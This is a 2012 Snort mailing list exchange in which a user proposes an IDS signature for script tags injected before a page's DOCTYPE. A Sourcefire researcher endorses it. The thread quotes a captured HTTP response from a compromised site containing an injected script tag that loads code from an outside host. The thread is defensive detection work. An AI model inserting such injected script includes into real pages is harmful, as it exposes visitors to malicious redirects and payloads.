Snort mailing list archives

Re: SIG: Script before DOCTYPE

From: Alex Kirk <akirk () sourcefire com>
Date: Thu, 21 Jun 2012 15:37:26 -0400

That actually seems reasonable. You should only ever see <!DOCTYPE at the
start of a page, so I'd be surprised if this generates false positives.

Would you like this to be included in the VRT set?

On Thu, Jun 21, 2012 at 3:27 PM, Lay, James <james.lay () wincofoods com>wrote:

All,****

** **

Not sure if this is a good sig or not:****

** **

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"MALWARE script
before DOCTYPE possible malicious redirect"; flow:to_client,established;
file_data; content:"</script><!DOCTYPE"; distance:0; nocase;
metadata:policy security-ips drop, service http;
classtype:web-application-attack; sid:xxxxxxx; rev:1;)****

** **

Many times that I’ve seen malicious JavaScript injected it’s usually right
at the top:****

** **

** **

HTTP/1.1 200 OK****

Date: Mon, 18 Jun 2012 17:29:21 GMT****

Server: Apache****

X-Powered-By: PHP/5.2.17****

Set-Cookie: frontend=bleh; expires=Sun, 16-Sep-2012 17:29:21 GMT; path=/;
domain=www.glasstilestore.com; HttpOnly****

Expires: Thu, 19 Nov 1981 08:52:00 GMT****

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0****

Pragma: no-cache****

Set-Cookie: frontend=bleh; expires=Sun, 16-Sep-2012 17:29:21 GMT; path=/;
domain=www.glasstilestore.com; httponly****

Vary: Accept-Encoding,User-Agent****

X-UA-Compatible: IE=8****

Keep-Alive: timeout=3, max=100****

Connection: Keep-Alive****

Transfer-Encoding: chunked****

Content-Type: text/html; charset=UTF-8****

****

****

dd13****

<script src='http://httpjs.com/api&apos;
type='text/javascript'></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML
1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd";>****

<html xmlns="http://www.w3.org/1999/xhtml"; xml:lang="en" lang="en">****

<head>****

****

<!-- Google Website Optimizer Control Script -->****

<script>****

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I welcome any pointers or reasons this sig stinks…danke J****

** **

James ****


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-- 
Alex Kirk
AEGIS Program Lead
Sourcefire Vulnerability Research Team
+1-410-423-1937
alex.kirk () sourcefire com

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Live Security Virtual Conference
Exclusive live event will cover all the ways today's security and 
threat landscape has changed and how IT managers can respond. Discussions 
will include endpoint security, mobile security and the latest in malware 
threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/

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Current thread:

SIG: Script before DOCTYPE Lay, James (Jun 21)
- Re: SIG: Script before DOCTYPE Alex Kirk (Jun 21)
  - Re: SIG: Script before DOCTYPE Lay, James (Jun 21)